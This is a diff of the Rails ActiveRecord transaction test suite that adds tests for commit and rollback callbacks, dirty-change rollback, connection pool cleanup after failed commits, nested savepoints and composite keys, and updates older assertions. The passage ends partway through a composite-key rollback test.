+    Topic.transaction do
+      assert_predicate Topic.current_transaction, :open?
+      committed_transaction = Topic.current_transaction
+    end
+    assert_predicate committed_transaction, :closed?
+
+    rolledback_transaction = nil
+    assert_raises SomeError do
+      Topic.transaction do
+        assert_predicate Topic.current_transaction, :open?
+        rolledback_transaction = Topic.current_transaction
+        raise SomeError
+      end
+    end
+    assert_predicate rolledback_transaction, :closed?
+  end
+
+  def test_after_all_transactions_commit
+    called = 0
+    ActiveRecord.after_all_transactions_commit { called += 1 }
+    assert_equal 1, called
+
+    ActiveRecord.after_all_transactions_commit { called += 1 }
+    assert_equal 2, called
+
+    called = 0
+    Topic.transaction do
+      ActiveRecord.after_all_transactions_commit { called += 1 }
+      assert_equal 0, called
+    end
+    assert_equal 1, called
+
+    called = 0
+    Topic.transaction do
+      Topic.transaction(requires_new: true) do
+        ActiveRecord.after_all_transactions_commit { called += 1 }
+        assert_equal 0, called
+      end
+      assert_equal 0, called
+    end
+    assert_equal 1, called
+
+    called = 0
+    Topic.transaction do
+      ActiveRecord.after_all_transactions_commit { called += 1 }
+      assert_equal 0, called
+      raise ActiveRecord::Rollback
+    end
+    assert_equal 0, called
+
+    called = 0
+    Topic.transaction do |transaction|
+      transaction.instance_variable_get(:@internal_transaction).invalidate!
+      ActiveRecord.after_all_transactions_commit { called += 1 }
+      assert_equal 1, called
+    end
+    assert_equal 1, called
+  end
+
+  def test_after_current_transaction_commit_multidb_nested_transactions
+    called = 0
+    ARUnit2Model.transaction do
+      Topic.transaction do
+        ActiveRecord.after_all_transactions_commit { called += 1 }
+        assert_equal 0, called
+      end
+      assert_equal 0, called
+    end
+    assert_equal 1, called
+  end
+
+  def test_transaction_after_commit_callback
+    called = 0
+    Topic.current_transaction.after_commit { called += 1 }
+    assert_equal 1, called
+
+    Topic.current_transaction.after_commit { called += 1 }
+    assert_equal 2, called
+
+    called = 0
+    Topic.transaction do
+      Topic.current_transaction.after_commit { called += 1 }
+      assert_equal 0, called
+    end
+    assert_equal 1, called
+
+    called = 0
+    Topic.transaction do
+      Topic.transaction(requires_new: true) do
+        Topic.current_transaction.after_commit { called += 1 }
+        assert_equal 0, called
+      end
+      assert_equal 0, called
+    end
+    assert_equal 1, called
+
+    called = 0
+    Topic.transaction do
+      Topic.current_transaction.after_commit { called += 1 }
+      assert_equal 0, called
+      raise ActiveRecord::Rollback
+    end
+    assert_equal 0, called
+
+    called = 0
+    ARUnit2Model.transaction do
+      Topic.transaction do
+        Topic.current_transaction.after_commit { called += 1 }
+        assert_equal 0, called
+      end
+      assert_equal 1, called
+    end
+    assert_equal 1, called
+
+    committed_transaction = nil
+    Topic.transaction do
+      committed_transaction = Topic.current_transaction
+    end
+    assert_raises ActiveRecord::ActiveRecordError, match: /Cannot register callbacks on a finalized transaction/ do
+      committed_transaction.after_commit { nil }
+    end
+  end
+
+  def test_transaction_after_rollback_callback
+    called = 0
+    Topic.current_transaction.after_rollback { called += 1 }
+    assert_equal 0, called
+
+    called = 0
+    Topic.transaction do
+      Topic.current_transaction.after_rollback { called += 1 }
+      assert_equal 0, called
+    end
+    assert_equal 0, called
+
+    called = 0
+    Topic.transaction do
+      Topic.current_transaction.after_rollback { called += 1 }
+      assert_equal 0, called
+      raise ActiveRecord::Rollback
+    end
+    assert_equal 1, called
+
+    called = 0
+    Topic.transaction do
+      Topic.current_transaction.after_rollback { called += 1 }
+      Topic.transaction(requires_new: true) do
+        raise ActiveRecord::Rollback
+      end
+    end
+    assert_equal 0, called
+
+    called = 0
+    Topic.transaction do
+      assert_nothing_raised do
+        Topic.transaction(requires_new: true) do
+          Topic.current_transaction.after_rollback { called += 1 }
+          raise ActiveRecord::Rollback
+        end
+      end
+      assert_equal 1, called
+    end
+    assert_equal 1, called
+
+    committed_transaction = nil
+    Topic.transaction do
+      committed_transaction = Topic.current_transaction
+    end
+    assert_raises ActiveRecord::ActiveRecordError, match: /Cannot register callbacks on a finalized transaction/ do
+      committed_transaction.after_rollback { nil }
+    end
+  end
+end
 
 class TransactionTest < ActiveRecord::TestCase
   self.use_transactional_tests = false
-  fixtures :topics, :developers, :authors, :posts
+  fixtures :topics, :developers, :authors, :author_addresses, :posts
+
+  include TransactionCallbacksTests
 
   def setup
     @first, @second = Topic.find(1, 2).sort_by(&:id)
   end
 
+  def test_blank?
+    assert_predicate Topic.current_transaction, :blank?
+    Topic.transaction do
+      assert_not_predicate Topic.current_transaction, :blank?
+    end
+  end
+
+  def test_rollback_dirty_changes
+    topic = topics(:fifth)
+
+    ActiveRecord::Base.transaction do
+      topic.update(title: "Ruby on Rails")
+      raise ActiveRecord::Rollback
+    end
+
+    title_change = ["The Fifth Topic of the day", "Ruby on Rails"]
+    assert_equal title_change, topic.changes["title"]
+  end
+
+  def test_transaction_does_not_apply_default_scope
+    # Regression test for https://github.com/rails/rails/issues/50368
+    topic = topics(:fifth)
+    Topic.where.not(id: topic.id).transaction do
+      assert_not_nil Topic.find(topic.id)
+    end
+  end
+
+  if !in_memory_db?
+    def test_rollback_dirty_changes_even_with_raise_during_rollback_removes_from_pool
+      topic = topics(:fifth)
+
+      connection = Topic.lease_connection
+
+      Topic.lease_connection.class_eval do
+        alias :real_exec_rollback_db_transaction :exec_rollback_db_transaction
+        define_method(:exec_rollback_db_transaction) do
+          raise
+        end
+      end
+
+      ActiveRecord::Base.transaction do
+        topic.update(title: "Rails is broken")
+        raise ActiveRecord::Rollback
+      end
+
+      assert_not connection.active?
+      assert_not Topic.connection_pool.connections.include?(connection)
+    ensure
+      ActiveRecord::Base.connection_handler.clear_all_connections!(:all)
+    end
+
+    def test_rollback_dirty_changes_even_with_raise_during_rollback_doesnt_commit_transaction
+      topic = topics(:fifth)
+
+      Topic.lease_connection.class_eval do
+        alias :real_exec_rollback_db_transaction :exec_rollback_db_transaction
+        define_method(:exec_rollback_db_transaction) do
+          raise
+        end
+      end
+
+      ActiveRecord::Base.transaction do
+        topic.update(title: "Rails is broken")
+        raise ActiveRecord::Rollback
+      end
+
+      topic.reload
+
+      ActiveRecord::Base.transaction do
+        topic.update(content: "Ruby on Rails - modified")
+      end
+
+      assert_equal "The Fifth Topic of the day", topic.reload.title
+    ensure
+      ActiveRecord::Base.connection_handler.clear_all_connections!(:all)
+    end
+
+    def test_connection_removed_from_pool_when_commit_raises_and_rollback_raises
+      connection = Topic.lease_connection
+
+      # Update commit_transaction to raise the first time it is called.
+      Topic.lease_connection.transaction_manager.class_eval do
+        alias :real_commit_transaction :commit_transaction
+        define_method(:commit_transaction) do
+          raise "commit failed"
+        end
+      end
+
+      # Update rollback_transaction to raise.
+      Topic.lease_connection.transaction_manager.class_eval do
+        alias :real_rollback_transaction :rollback_transaction
+        define_method(:rollback_transaction) do |*_args|
+          raise "rollback failed"
+        end
+      end
+
+      # Start a transaction and update a record. The commit and rollback will fail.
+      topic = topics(:fifth)
+      exception = assert_raises(RuntimeError) do
+        ActiveRecord::Base.transaction do
+          topic.update(title: "Updated title")
+        end
+      end
+      assert_equal "rollback failed", exception.message
+      assert_not connection.active?
+      assert_not Topic.connection_pool.connections.include?(connection)
+      assert_equal "The Fifth Topic of the day", topic.reload.title
+    ensure
+      ActiveRecord::Base.connection_handler.clear_all_connections!(:all)
+    end
+
+    def test_connection_removed_from_pool_when_begin_raises_after_successfully_beginning_a_transaction
+      connection = Topic.lease_connection
+      # Disable lazy transactions so that we will begin a transaction before attempting to write.
+      connection.disable_lazy_transactions!
+
+      # Update begin_db_transaction to successfully begin a transaction, then raise.
+      Topic.lease_connection.class_eval do
+        alias :real_begin_db_transaction :begin_db_transaction
+        define_method(:begin_db_transaction) do |*_args|
+          raise "begin failed"
+        end
+      end
+
+      # Attempt to begin a transaction. This will raise, causing a rollback.
+      exception = assert_raises(RuntimeError) do
+        ActiveRecord::Base.transaction { }
+      end
+      assert_equal "begin failed", exception.message
+      assert_not connection.active?
+      assert_not Topic.connection_pool.connections.include?(connection)
+    ensure
+      ActiveRecord::Base.connection_handler.clear_all_connections!(:all)
+    end
+
+    def test_connection_removed_from_pool_when_thread_killed_in_begin_after_successfully_beginning_a_transaction
+      queue = Queue.new
+      connection = nil
+      thread = Thread.new do
+        connection = Topic.lease_connection
+
+        # Disable lazy transactions so that we will begin a transaction before attempting to write.
+        connection.disable_lazy_transactions!
+
+        # Update begin_db_transaction to block.
+        connection.class_eval do
+          alias :real_begin_db_transaction :begin_db_transaction
+          define_method(:begin_db_transaction) do |*_args|
+            queue.push nil
+            sleep
+          end
+        end
+
+        ActiveRecord::Base.transaction { }
+      end
+      queue.pop
+      thread.kill
+      thread.join
+      assert_not connection.active?
+      assert_not Topic.connection_pool.connections.include?(connection)
+    ensure
+      ActiveRecord::Base.connection_handler.clear_all_connections!(:all)
+    end
+  end
+
+  def test_rollback_dirty_changes_multiple_saves
+    topic = topics(:fifth)
+
+    ActiveRecord::Base.transaction do
+      topic.update(title: "Ruby on Rails")
+      topic.update(title: "Another Title")
+      raise ActiveRecord::Rollback
+    end
+
+    title_change = ["The Fifth Topic of the day", "Another Title"]
+    assert_equal title_change, topic.changes["title"]
+  end
+
+  def test_rollback_dirty_changes_then_retry_save
+    topic = topics(:fifth)
+
+    ActiveRecord::Base.transaction do
+      topic.update(title: "Ruby on Rails")
+      raise ActiveRecord::Rollback
+    end
+
+    title_change = ["The Fifth Topic of the day", "Ruby on Rails"]
+    assert_equal title_change, topic.changes["title"]
+
+    assert topic.save
+
+    assert_equal title_change, topic.saved_changes["title"]
+    assert_equal topic.title, topic.reload.title
+  end
+
+  def test_rollback_dirty_changes_then_retry_save_on_new_record
+    topic = Topic.new(title: "Ruby on Rails")
+
+    ActiveRecord::Base.transaction do
+      topic.save
+      raise ActiveRecord::Rollback
+    end
+
+    title_change = [nil, "Ruby on Rails"]
+    assert_equal title_change, topic.changes["title"]
+
+    assert topic.save
+
+    assert_equal title_change, topic.saved_changes["title"]
+    assert_equal topic.title, topic.reload.title
+  end
+
+  def test_rollback_dirty_changes_then_retry_save_on_new_record_with_autosave_association
+    author = Author.new(name: "DHH")
+    book = Book.create!
+    author.books << book
+
+    author.transaction do
+      author.save!
+      raise ActiveRecord::Rollback
+    end
+
+    author.save!
+    assert_equal author, book.reload.author
+  end
+
   def test_persisted_in_a_model_with_custom_primary_key_after_failed_save
     movie = Movie.create
-    assert !movie.persisted?
+    assert_not_predicate movie, :persisted?
   end
 
   def test_raise_after_destroy
-    assert_not @first.frozen?
+    assert_not_predicate @first, :frozen?
 
-    assert_raises(RuntimeError) {
+    assert_raises(RuntimeError) do
       Topic.transaction do
         @first.destroy
-        assert @first.frozen?
+        assert_predicate @first, :frozen?
         raise
       end
-    }
+    end
 
-    assert @first.reload
-    assert_not @first.frozen?
+    assert_not_predicate @first, :frozen?
   end
 
   def test_successful
@@ -44,8 +455,8 @@ def test_successful
       @second.save
     end
 
-    assert Topic.find(1).approved?, "First should have been approved"
-    assert !Topic.find(2).approved?, "Second should have been unapproved"
+    assert_predicate Topic.find(1), :approved?, "First should have been approved"
+    assert_not_predicate Topic.find(2), :approved?, "Second should have been unapproved"
   end
 
   def transaction_with_return
@@ -58,15 +469,29 @@ def transaction_with_return
     end
   end
 
+  def transaction_with_shallow_return
+    Topic.transaction do
+      Topic.transaction(requires_new: true) do
+        @first.approved  = true
+        @second.approved = false
+        @first.save
+        @second.save
+      end
+      return
+    end
+  end
+
   def test_add_to_null_transaction
     topic = Topic.new
-    topic.add_to_transaction
+    assert_nothing_raised do
+      topic.send(:add_to_transaction)
+    end
   end
 
-  def test_successful_with_return
+  def test_successful_with_return_outside_inner_transaction
     committed = false
 
-    Topic.connection.class_eval do
+    Topic.lease_connection.class_eval do
       alias :real_commit_db_transaction :commit_db_transaction
       define_method(:commit_db_transaction) do
         committed = true
@@ -74,22 +499,91 @@ def test_successful_with_return
       end
     end
 
-    transaction_with_return
+    transaction_with_shallow_return
     assert committed
 
-    assert Topic.find(1).approved?, "First should have been approved"
-    assert !Topic.find(2).approved?, "Second should have been unapproved"
+    assert_predicate Topic.find(1), :approved?, "First should have been approved"
+    assert_not_predicate Topic.find(2), :approved?, "Second should have been unapproved"
   ensure
-    Topic.connection.class_eval do
+    Topic.lease_connection.class_eval do
       remove_method :commit_db_transaction
       alias :commit_db_transaction :real_commit_db_transaction rescue nil
     end
   end
 
+  def test_deprecation_on_ruby_timeout_outside_inner_transaction
+    assert_not_deprecated(ActiveRecord.deprecator) do
+      catch do |timeout|
+        Topic.transaction do
+          Topic.transaction(requires_new: true) do
+            @first.approved = true
+            @first.save!
+          end
+
+          throw timeout
+        end
+      end
+    end
+
+    assert_predicate Topic.find(1), :approved?, "First should have been approved"
+  end
+
+  def test_break_from_transaction_commits
+    @first.transaction do
+      assert_not_predicate @first, :approved?
+      @first.update!(approved: true)
+
+      break if true
+
+      # dead code
+      assert_predicate @first, :approved?
+      @first.update!(approved: false)
+    end
+
+    assert_predicate Topic.find(1), :approved?, "First should have been approved"
+    assert_predicate Topic.find(2), :approved?, "Second should have been approved"
+  end
+
+  def test_throw_from_transaction_commits
+    catch(:not_an_error) do
+      @first.transaction do
+        assert_not_predicate @first, :approved?
+        @first.update!(approved: true)
+
+        throw :not_an_error
+
+        # dead code
+        assert_predicate @first, :approved?
+        @first.update!(approved: false)
+      end
+    end
+    assert_predicate Topic.find(1), :approved?, "First should have been approved"
+    assert_predicate Topic.find(2), :approved?, "Second should have been approved"
+  end
+
+  def _test_return_from_transaction_7_1_behavior
+    @first.transaction do
+      assert_not_predicate @first, :approved?
+      @first.update!(approved: true)
+
+      return if true
+
+      # dead code
+      assert_predicate @first, :approved?
+      @first.update!(approved: false)
+    end
+  end
+
+  def test_return_from_transaction_commits
+    _test_return_from_transaction_7_1_behavior
+    assert_predicate Topic.find(1), :approved?, "First should have been approved"
+    assert_predicate Topic.find(2), :approved?, "Second should have been approved"
+  end
+
   def test_number_of_transactions_in_commit
     num = nil
 
-    Topic.connection.class_eval do
+    Topic.lease_connection.class_eval do
       alias :real_commit_db_transaction :commit_db_transaction
       define_method(:commit_db_transaction) do
         num = transaction_manager.open_transactions
@@ -104,7 +598,7 @@ def test_number_of_transactions_in_commit
 
     assert_equal 0, num
   ensure
-    Topic.connection.class_eval do
+    Topic.lease_connection.class_eval do
       remove_method :commit_db_transaction
       alias :commit_db_transaction :real_commit_db_transaction rescue nil
     end
@@ -118,8 +612,8 @@ def test_successful_with_instance_method
       @second.save
     end
 
-    assert Topic.find(1).approved?, "First should have been approved"
-    assert !Topic.find(2).approved?, "Second should have been unapproved"
+    assert_predicate Topic.find(1), :approved?, "First should have been approved"
+    assert_not_predicate Topic.find(2), :approved?, "Second should have been unapproved"
   end
 
   def test_failing_on_exception
@@ -135,11 +629,11 @@ def test_failing_on_exception
       # caught it
     end
 
-    assert @first.approved?, "First should still be changed in the objects"
-    assert !@second.approved?, "Second should still be changed in the objects"
+    assert_predicate @first, :approved?, "First should still be changed in the objects"
+    assert_not_predicate @second, :approved?, "Second should still be changed in the objects"
 
-    assert !Topic.find(1).approved?, "First shouldn't have been approved"
-    assert Topic.find(2).approved?, "Second should still be approved"
+    assert_not_predicate Topic.find(1), :approved?, "First shouldn't have been approved"
+    assert_predicate Topic.find(2), :approved?, "Second should still be approved"
   end
 
   def test_raising_exception_in_callback_rollbacks_in_save
@@ -150,20 +644,22 @@ def @first.after_save_for_transaction
     @first.approved = true
     e = assert_raises(RuntimeError) { @first.save }
     assert_equal "Make the transaction rollback", e.message
-    assert !Topic.find(1).approved?
+    assert_not_predicate Topic.find(1), :approved?
   end
 
   def test_rolling_back_in_a_callback_rollbacks_before_save
     def @first.before_save_for_transaction
       raise ActiveRecord::Rollback
     end
-    assert !@first.approved
+    assert_not_predicate @first, :approved?
 
-    Topic.transaction do
-      @first.approved = true
-      @first.save!
+    assert_not_called(@first, :rolledback!) do
+      Topic.transaction do
+        @first.approved = true
+        @first.save!
+      end
     end
-    assert !Topic.find(@first.id).approved?, "Should not commit the approved flag"
+    assert_not_predicate Topic.find(@first.id), :approved?, "Should not commit the approved flag"
   end
 
   def test_raising_exception_in_nested_transaction_restore_state_in_save
@@ -177,14 +673,14 @@ def topic.after_save_for_transaction
       Topic.transaction { topic.save }
     end
 
-    assert topic.new_record?, "#{topic.inspect} should be new record"
+    assert_predicate topic, :new_record?, "#{topic.inspect} should be new record"
   end
 
   def test_transaction_state_is_cleared_when_record_is_persisted
     author = Author.create! name: "foo"
     author.name = nil
     assert_not author.save
-    assert_not author.new_record?
+    assert_not_predicate author, :new_record?
   end
 
   def test_update_should_rollback_on_failure
@@ -192,7 +688,7 @@ def test_update_should_rollback_on_failure
     posts_count = author.posts.size
     assert posts_count > 0
     status = author.update(name: nil, post_ids: [])
-    assert !status
+    assert_not status
     assert_equal posts_count, author.posts.reload.size
   end
 
@@ -210,7 +706,7 @@ def test_cancellation_from_before_destroy_rollbacks_in_destroy
     add_cancelling_before_destroy_with_db_side_effect_to_topic @first
     nbooks_before_destroy = Book.count
     status = @first.destroy
-    assert !status
+    assert_not status
     @first.reload
     assert_equal nbooks_before_destroy, Book.count
   end
@@ -222,7 +718,7 @@ def test_cancellation_from_before_destroy_rollbacks_in_destroy
       original_author_name = @first.author_name
       @first.author_name += "_this_should_not_end_up_in_the_db"
       status = @first.save
-      assert !status
+      assert_not status
       assert_equal original_author_name, @first.reload.author_name
       assert_equal nbooks_before_save, Book.count
     end
@@ -283,25 +779,107 @@ def test_callback_rollback_in_create_with_record_invalid_exception
       def after_create_for_transaction
         raise ActiveRecord::RecordInvalid.new(Author.new)
       end
-    }
+    }
+
+    new_topic = topic.create(title: "A new topic")
+    assert_not new_topic.persisted?, "The topic should not be persisted"
+    assert_nil new_topic.id, "The topic should not have an ID"
+  end
+
+  def test_callback_rollback_in_create_with_rollback_exception
+    topic = Class.new(Topic) {
+      def after_create_for_transaction
+        raise ActiveRecord::Rollback
+      end
+    }
+
+    new_topic = topic.create(title: "A new topic")
+    assert_not new_topic.persisted?, "The topic should not be persisted"
+    assert_nil new_topic.id, "The topic should not have an ID"
+  end
+
+  def test_nested_explicit_transactions
+    Topic.transaction do
+      Topic.transaction do
+        @first.approved  = true
+        @second.approved = false
+        @first.save
+        @second.save
+      end
+    end
+
+    assert_predicate Topic.find(1), :approved?, "First should have been approved"
+    assert_not Topic.find(2).approved?, "Second should have been unapproved"
+  end
+
+  def test_nested_transaction_with_new_transaction_applies_parent_state_on_rollback
+    topic_one = Topic.new(title: "A new topic")
+    topic_two = Topic.new(title: "Another new topic")
+
+    Topic.transaction do
+      topic_one.save
+
+      Topic.transaction(requires_new: true) do
+        topic_two.save
+
+        assert_predicate topic_one, :persisted?
+        assert_predicate topic_two, :persisted?
+      end
+
+      raise ActiveRecord::Rollback
+    end
+
+    assert_not_predicate topic_one, :persisted?
+    assert_not_predicate topic_two, :persisted?
+  end
+
+  def test_nested_transaction_without_new_transaction_applies_parent_state_on_rollback
+    topic_one = Topic.new(title: "A new topic")
+    topic_two = Topic.new(title: "Another new topic")
+
+    Topic.transaction do
+      topic_one.save
+
+      Topic.transaction do
+        topic_two.save
+
+        assert_predicate topic_one, :persisted?
+        assert_predicate topic_two, :persisted?
+      end
 
-    new_topic = topic.create(title: "A new topic")
-    assert !new_topic.persisted?, "The topic should not be persisted"
-    assert_nil new_topic.id, "The topic should not have an ID"
+      raise ActiveRecord::Rollback
+    end
+
+    assert_not_predicate topic_one, :persisted?
+    assert_not_predicate topic_two, :persisted?
   end
 
-  def test_nested_explicit_transactions
+  def test_double_nested_transaction_applies_parent_state_on_rollback
+    topic_one = Topic.new(title: "A new topic")
+    topic_two = Topic.new(title: "Another new topic")
+    topic_three = Topic.new(title: "Another new topic of course")
+
     Topic.transaction do
+      topic_one.save
+
       Topic.transaction do
-        @first.approved  = true
-        @second.approved = false
-        @first.save
-        @second.save
+        topic_two.save
+
+        Topic.transaction do
+          topic_three.save
+        end
       end
+
+      assert_predicate topic_one, :persisted?
+      assert_predicate topic_two, :persisted?
+      assert_predicate topic_three, :persisted?
+
+      raise ActiveRecord::Rollback
     end
 
-    assert Topic.find(1).approved?, "First should have been approved"
-    assert !Topic.find(2).approved?, "Second should have been unapproved"
+    assert_not_predicate topic_one, :persisted?
+    assert_not_predicate topic_two, :persisted?
+    assert_not_predicate topic_three, :persisted?
   end
 
   def test_manually_rolling_back_a_transaction
@@ -314,11 +892,11 @@ def test_manually_rolling_back_a_transaction
       raise ActiveRecord::Rollback
     end
 
-    assert @first.approved?, "First should still be changed in the objects"
-    assert !@second.approved?, "Second should still be changed in the objects"
+    assert_predicate @first, :approved?, "First should still be changed in the objects"
+    assert_not @second.approved?, "Second should still be changed in the objects"
 
-    assert !Topic.find(1).approved?, "First shouldn't have been approved"
-    assert Topic.find(2).approved?, "Second should still be approved"
+    assert_not Topic.find(1).approved?, "First shouldn't have been approved"
+    assert_predicate Topic.find(2), :approved?, "Second should still be approved"
   end
 
   def test_invalid_keys_for_transaction
@@ -337,7 +915,7 @@ def test_force_savepoint_in_nested_transaction
 
       begin
         Topic.transaction requires_new: true do
-          @first.happy = false
+          @first.approved = false
           @first.save!
           raise
         end
@@ -345,9 +923,9 @@ def test_force_savepoint_in_nested_transaction
       end
     end
 
-    assert @first.reload.approved?
-    assert !@second.reload.approved?
-  end if Topic.connection.supports_savepoints?
+    assert_predicate @first.reload, :approved?
+    assert_not_predicate @second.reload, :approved?
+  end if Topic.lease_connection.supports_savepoints?
 
   def test_force_savepoint_on_instance
     @first.transaction do
@@ -358,7 +936,7 @@ def test_force_savepoint_on_instance
 
       begin
         @second.transaction requires_new: true do
-          @first.happy = false
+          @first.approved = false
           @first.save!
           raise
         end
@@ -366,9 +944,9 @@ def test_force_savepoint_on_instance
       end
     end
 
-    assert @first.reload.approved?
-    assert !@second.reload.approved?
-  end if Topic.connection.supports_savepoints?
+    assert_predicate @first.reload, :approved?
+    assert_not_predicate @second.reload, :approved?
+  end if Topic.lease_connection.supports_savepoints?
 
   def test_no_savepoint_in_nested_transaction_without_force
     Topic.transaction do
@@ -387,9 +965,9 @@ def test_no_savepoint_in_nested_transaction_without_force
       end
     end
 
-    assert !@first.reload.approved?
-    assert !@second.reload.approved?
-  end if Topic.connection.supports_savepoints?
+    assert_not_predicate @first.reload, :approved?
+    assert_not_predicate @second.reload, :approved?
+  end if Topic.lease_connection.supports_savepoints?
 
   def test_many_savepoints
     Topic.transaction do
@@ -433,66 +1011,71 @@ def test_many_savepoints
     assert_equal "One", @one
     assert_equal "Two", @two
     assert_equal "Three", @three
-  end if Topic.connection.supports_savepoints?
+  end if Topic.lease_connection.supports_savepoints?
 
   def test_using_named_savepoints
     Topic.transaction do
       @first.approved = true
       @first.save!
-      Topic.connection.create_savepoint("first")
+      Topic.lease_connection.create_savepoint("first")
 
       @first.approved = false
       @first.save!
-      Topic.connection.rollback_to_savepoint("first")
-      assert @first.reload.approved?
+      Topic.lease_connection.rollback_to_savepoint("first")
+      assert_predicate @first.reload, :approved?
 
       @first.approved = false
       @first.save!
-      Topic.connection.release_savepoint("first")
-      assert_not @first.reload.approved?
+      Topic.lease_connection.release_savepoint("first")
+      assert_not_predicate @first.reload, :approved?
     end
-  end if Topic.connection.supports_savepoints?
+  end if Topic.lease_connection.supports_savepoints?
 
   def test_releasing_named_savepoints
     Topic.transaction do
-      Topic.connection.create_savepoint("another")
-      Topic.connection.release_savepoint("another")
+      Topic.lease_connection.materialize_transactions
+
+      Topic.lease_connection.create_savepoint("another")
+      Topic.lease_connection.release_savepoint("another")
 
       # The savepoint is now gone and we can't remove it again.
       assert_raises(ActiveRecord::StatementInvalid) do
-        Topic.connection.release_savepoint("another")
+        Topic.lease_connection.release_savepoint("another")
       end
     end
   end
 
   def test_savepoints_name
     Topic.transaction do
-      assert_nil Topic.connection.current_savepoint_name
-      assert_nil Topic.connection.current_transaction.savepoint_name
+      Topic.delete_all # Dirty the transaction to force a savepoint below
+
+      assert_nil Topic.lease_connection.current_savepoint_name
+      assert_nil Topic.lease_connection.current_transaction.savepoint_name
 
       Topic.transaction(requires_new: true) do
-        assert_equal "active_record_1", Topic.connection.current_savepoint_name
-        assert_equal "active_record_1", Topic.connection.current_transaction.savepoint_name
+        Topic.delete_all # Dirty the transaction to force a savepoint below
+
+        assert_equal "active_record_1", Topic.lease_connection.current_savepoint_name
+        assert_equal "active_record_1", Topic.lease_connection.current_transaction.savepoint_name
 
         Topic.transaction(requires_new: true) do
-          assert_equal "active_record_2", Topic.connection.current_savepoint_name
-          assert_equal "active_record_2", Topic.connection.current_transaction.savepoint_name
+          assert_equal "active_record_2", Topic.lease_connection.current_savepoint_name
+          assert_equal "active_record_2", Topic.lease_connection.current_transaction.savepoint_name
         end
 
-        assert_equal "active_record_1", Topic.connection.current_savepoint_name
-        assert_equal "active_record_1", Topic.connection.current_transaction.savepoint_name
+        assert_equal "active_record_1", Topic.lease_connection.current_savepoint_name
+        assert_equal "active_record_1", Topic.lease_connection.current_transaction.savepoint_name
       end
     end
   end
 
   def test_rollback_when_commit_raises
-    assert_called(Topic.connection, :begin_db_transaction) do
-      Topic.connection.stub(:commit_db_transaction, -> { raise("OH NOES") }) do
-        assert_called(Topic.connection, :rollback_db_transaction) do
-
+    assert_called(Topic.lease_connection, :begin_db_transaction) do
+      Topic.lease_connection.stub(:commit_db_transaction, -> { raise("OH NOES") }) do
+        assert_called(Topic.lease_connection, :rollback_db_transaction) do
           e = assert_raise RuntimeError do
             Topic.transaction do
-              # do nothing
+              Topic.lease_connection.materialize_transactions
             end
           end
           assert_equal "OH NOES", e.message
@@ -504,18 +1087,18 @@ def test_rollback_when_commit_raises
   def test_rollback_when_saving_a_frozen_record
     topic = Topic.new(title: "test")
     topic.freeze
-    e = assert_raise(RuntimeError) { topic.save }
+    e = assert_raise(FrozenError) { topic.save }
     # Not good enough, but we can't do much
     # about it since there is no specific error
     # for frozen objects.
     assert_match(/frozen/i, e.message)
-    assert !topic.persisted?, "not persisted"
+    assert_not topic.persisted?, "not persisted"
     assert_nil topic.id
-    assert topic.frozen?, "not frozen"
+    assert_predicate topic, :frozen?, "not frozen"
   end
 
   def test_rollback_when_thread_killed
-    return if in_memory_db?
+    skip if in_memory_db?
 
     queue = Queue.new
     thread = Thread.new do
@@ -535,11 +1118,11 @@ def test_rollback_when_thread_killed
     thread.kill
     thread.join
 
-    assert @first.approved?, "First should still be changed in the objects"
-    assert !@second.approved?, "Second should still be changed in the objects"
+    assert_predicate @first, :approved?, "First should still be changed in the objects"
+    assert_not @second.approved?, "Second should still be changed in the objects"
 
-    assert !Topic.find(1).approved?, "First shouldn't have been approved"
-    assert Topic.find(2).approved?, "Second should still be approved"
+    assert_not Topic.find(1).approved?, "First shouldn't have been approved"
+    assert_predicate Topic.find(2), :approved?, "Second should still be approved"
   end
 
   def test_restore_active_record_state_for_all_records_in_a_transaction
@@ -557,27 +1140,27 @@ def test_restore_active_record_state_for_all_records_in_a_transaction
       assert topic_3.save
       @first.save
       @second.destroy
-      assert topic_1.persisted?, "persisted"
+      assert_predicate topic_1, :persisted?, "persisted"
       assert_not_nil topic_1.id
-      assert topic_2.persisted?, "persisted"
+      assert_predicate topic_2, :persisted?, "persisted"
       assert_not_nil topic_2.id
-      assert topic_3.persisted?, "persisted"
+      assert_predicate topic_3, :persisted?, "persisted"
       assert_not_nil topic_3.id
-      assert @first.persisted?, "persisted"
+      assert_predicate @first, :persisted?, "persisted"
       assert_not_nil @first.id
-      assert @second.destroyed?, "destroyed"
+      assert_predicate @second, :destroyed?, "destroyed"
       raise ActiveRecord::Rollback
     end
 
-    assert !topic_1.persisted?, "not persisted"
+    assert_not topic_1.persisted?, "not persisted"
     assert_nil topic_1.id
-    assert !topic_2.persisted?, "not persisted"
+    assert_not topic_2.persisted?, "not persisted"
     assert_nil topic_2.id
-    assert !topic_3.persisted?, "not persisted"
+    assert_not topic_3.persisted?, "not persisted"
     assert_nil topic_3.id
-    assert @first.persisted?, "persisted"
+    assert_predicate @first, :persisted?, "persisted"
     assert_not_nil @first.id
-    assert !@second.destroyed?, "not destroyed"
+    assert_not @second.destroyed?, "not destroyed"
   end
 
   def test_restore_frozen_state_after_double_destroy
@@ -591,8 +1174,168 @@ def test_restore_frozen_state_after_double_destroy
       raise ActiveRecord::Rollback
     end
 
-    assert_not reply.frozen?
-    assert_not topic.frozen?
+    assert_not_predicate reply, :frozen?
+    assert_not_predicate topic, :frozen?
+  end
+
+  def test_restore_new_record_after_double_save
+    topic = Topic.new
+
+    Topic.transaction do
+      topic.save!
+      topic.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_nil topic.id
+    assert_predicate topic, :new_record?
+  end
+
+  def test_dont_restore_new_record_in_subsequent_transaction
+    topic = Topic.new
+
+    Topic.transaction do
+      topic.save!
+      topic.save!
+    end
+
+    Topic.transaction do
+      topic.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_predicate topic, :persisted?
+    assert_not_predicate topic, :new_record?
+  end
+
+  def test_restore_previously_new_record_after_double_save
+    topic = Topic.create!
+
+    Topic.transaction do
+      topic.save!
+      topic.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_predicate topic, :previously_new_record?
+  end
+
+  def test_restore_composite_id_after_rollback
+    book = Cpk::Book.create!(id: [1, 2])
+
+    Cpk::Book.transaction do
+      book.update!(id: [42, 42])
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal [1, 2], book.id
+  ensure
+    Cpk::Book.delete_all
+  end
+
+  def test_rollback_on_composite_key_model
+    Cpk::Book.create!(id: [1, 3], title: "Charlotte's Web")
+    book_two_unpersisted = Cpk::Book.new(id: [1, 3])
+
+    assert_raise(ActiveRecord::RecordNotUnique) do
+      Cpk::Book.transaction do
+        book_two_unpersisted.save!
